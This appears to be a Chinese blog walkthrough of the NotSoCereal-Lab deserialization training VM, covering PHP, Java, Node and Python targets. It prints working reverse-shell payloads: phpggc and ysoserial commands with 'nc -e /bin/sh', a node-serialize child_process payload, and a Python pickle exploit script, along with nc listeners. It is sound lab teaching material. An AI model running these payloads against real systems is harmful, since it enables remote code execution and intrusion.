反序列化练习场之NotSoCereal-Lab

admin 2023年3月22日23:04:23评论120 views字数 2893阅读9分38秒阅读模式

项目介绍

反序列化问题是信息安全的最新趋势,它们因臭名昭著的Java反序列化错误而声名鹊起,然而这些问题不仅仅局限于一种语言,序列化和反序列化是几乎所有现代编程语言中执行的常见操作,尽管这些问题臭名昭著,但却严重缺乏磨练你这方面技能的平台,于是NotSoCereal-Lab孕育而生,它是一个反序列化平台,用于训练你的反序列化操作能力,目前已经创建了支持以下语言的环境:

  • Java  

  • PHP  

  • Python  

  • Node

项目地址

项目地址:https://github.com/NotSoSecure/NotSoCereal-Lab

反序列化练习场之NotSoCereal-Lab

靶机部署

靶机下载:https://binary.notsosecure.com/NotSoCereal_2022.ova

Step 1:下载OVA文件,并尝试使用“文件->导入设备”选项将其导入

反序列化练习场之NotSoCereal-Lab

Step 2:选择下载的OVA文件“NotSoCereal _ v1.0.ova”的路径

反序列化练习场之NotSoCereal-Lab

Step 3:观察"描述"中的凭证,然后单击导入按钮

反序列化练习场之NotSoCereal-Lab

Step  4:成功导入

反序列化练习场之NotSoCereal-Lab

Step 5:点击"开始"按钮启动NotSoCereal虚拟机

反序列化练习场之NotSoCereal-Lab

Step 6:虚拟机将启动并要求凭据

反序列化练习场之NotSoCereal-Lab

Step 7:输入在步骤3中捕获的凭据,并执行以下命令来启动易受攻击的应用程序的docker

cd docker./start.sh

反序列化练习场之NotSoCereal-Lab

Step 8:捕获"eth0"接口分配的IP地址

反序列化练习场之NotSoCereal-Lab

Step  9:使用IP地址访问应用程序

反序列化练习场之NotSoCereal-Lab

靶机实战

PHP反序列化

Step 1:点击"PHP Website:16664"

反序列化练习场之NotSoCereal-Lab

Step 2:提供必要的信息并点击"提交"按钮

反序列化练习场之NotSoCereal-Lab

Step 3:在Burp Suite代理中捕获请求,并观察"csrftoken"参数包含Base64数据

反序列化练习场之NotSoCereal-Lab

Step 4:使用Base64解码该值,并标识序列化数据

反序列化练习场之NotSoCereal-Lab

Step 5:将步骤3中捕获的请求发送到repeat模块

反序列化练习场之NotSoCereal-Lab

Step 6:从以下位置下载PHPGGC实用程序并生成序列化的有效负载,并捕获生成的有效负载

https://github.com/ambionics/phpggc

./phpggc -b slim/rce1 system id

反序列化练习场之NotSoCereal-Lab

Step 7:将步骤5中捕获的请求的参数"csrftoken"中使用步骤6中生成的有效负载替换,并发送请求

反序列化练习场之NotSoCereal-Lab

Step 8:使用以下命令启动监听器

nc -nlvp 6666

反序列化练习场之NotSoCereal-Lab

Step 9:使用以下命令捕获系统IP地址,并使用该地址生成反向shell的有效负载,并捕获有效负载

./phpggc -b slim/rce1 system "nc 192.168.29.88 6666 -e /bin/sh"

反序列化练习场之NotSoCereal-Lab

Step 10:替换有效载荷

反序列化练习场之NotSoCereal-Lab

Step 11:之后成功收到返回的会话

反序列化练习场之NotSoCereal-Lab

JAVA反序列化

Step 1:点击"Java Website: 16661"链接

反序列化练习场之NotSoCereal-Lab

Step  2:提供以下凭证并勾选"记住我"选项,然后单击"提交"按钮

Username: adminPassword: password

反序列化练习场之NotSoCereal-Lab

Step 3:之后使用Burpsuite抓包并发送请Repeat模块

反序列化练习场之NotSoCereal-Lab

Step 4:之后发送请求数据包,可以看到响应中具有以"rO0"开头的Java序列化神奇字符串

反序列化练习场之NotSoCereal-Lab

Step 5:使用Base64解码后观察它的序列化值

反序列化练习场之NotSoCereal-Lab

Step 6:转发步骤3中捕获的请求,并单击"登录"按钮

反序列化练习场之NotSoCereal-Lab

Step 7:从以下位置下载YSoSerial实用程序,并使用以下命令检查可用的有效负载

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

java -jar ysoserial-master-SNAPSHOT.jar

反序列化练习场之NotSoCereal-Lab

Step 8:使用以下命令捕获IP地址并使用它来生成反向shell有效负载,并捕获生成的有效负载

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nc 192.168.29.88 4444 -e /bin/bash" | base64 -w 0

反序列化练习场之NotSoCereal-Lab

Step 9:使用以下命令启动监听

nc -nlvp 4444

反序列化练习场之NotSoCereal-Lab


Step 10:在"RememberMe"参数中替换步骤8中生成的有效负载,并单击"send"按钮向服务器发送请求

反序列化练习场之NotSoCereal-Lab

Step 10:之后接收到反弹的shell

反序列化练习场之NotSoCereal-Lab

Node反序列化

Step 1:点击"Node Website: 16663"链接

反序列化练习场之NotSoCereal-Lab

Step 2:填写表单信息并提交

反序列化练习场之NotSoCereal-Lab

Step 3:捕获通信数据包

反序列化练习场之NotSoCereal-Lab

Step 4:观察CSRFToken

反序列化练习场之NotSoCereal-Lab

Step 5:发送请求到repeat模块

反序列化练习场之NotSoCereal-Lab

Step 6:使用以下信息创建node.js序列化负载

{"rce":"_$$ND_FUNC$$_function (){n t require('child_process').exec('wget http://192.168.X.206:9999/test /',function(error, stdout, stderr) {console.log(stdout) });n }()"}

反序列化练习场之NotSoCereal-Lab

Step 7:开启一个监听

反序列化练习场之NotSoCereal-Lab

Step 8:替换载荷并重新发行请求

反序列化练习场之NotSoCereal-Lab

Step 9:之后成功接收到反弹的shell

反序列化练习场之NotSoCereal-Lab

Python反序列化

Step 1:点击"Python: Connect over TCP Socket: 16662"

反序列化练习场之NotSoCereal-Lab

Step 2:访问地址

反序列化练习场之NotSoCereal-Lab

Step 3:开启本地监听

nc -nlvp 5555

反序列化练习场之NotSoCereal-Lab


Step 4:之后使用以下脚本生成载荷

#!/usr/bin/env python#payload.pyimport pickleimport socketimport osimport sys
if len(sys.argv) < 5: print "Usage: python py_exploit.py <attacker_ip_address> <attacker_port> <docker_ip_address> <docker_port>" sys.exit(1)
localIP=sys.argv[1] localPort=sys.argv[2]dockerIP=sys.argv[3]dockerPort=sys.argv[4]

class payload(object): def __reduce__(self): comm = "rm /tmp/shell; mknod /tmp/shell p; nc "+localIP+" "+localPort+" 0</tmp/shell | /bin/sh 1>/tmp/shell" return (os.system, (comm,))
payload = pickle.dumps( payload())soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)soc.connect((dockerIP, int(dockerPort)))print soc.recv(1024) soc.send(payload)

Step 5:执行脚本

python py_exploit.py 192.168.29.88 5555 192.168.29.201 16662

反序列化练习场之NotSoCereal-Lab

Step 6:之后收到反弹的shell

反序列化练习场之NotSoCereal-Lab

原文始发于微信公众号(七芒星实验室):反序列化练习场之NotSoCereal-Lab

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月22日23:04:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化练习场之NotSoCereal-Labhttps://cn-sec.com/archives/1621826.html

发表评论

匿名网友 填写信息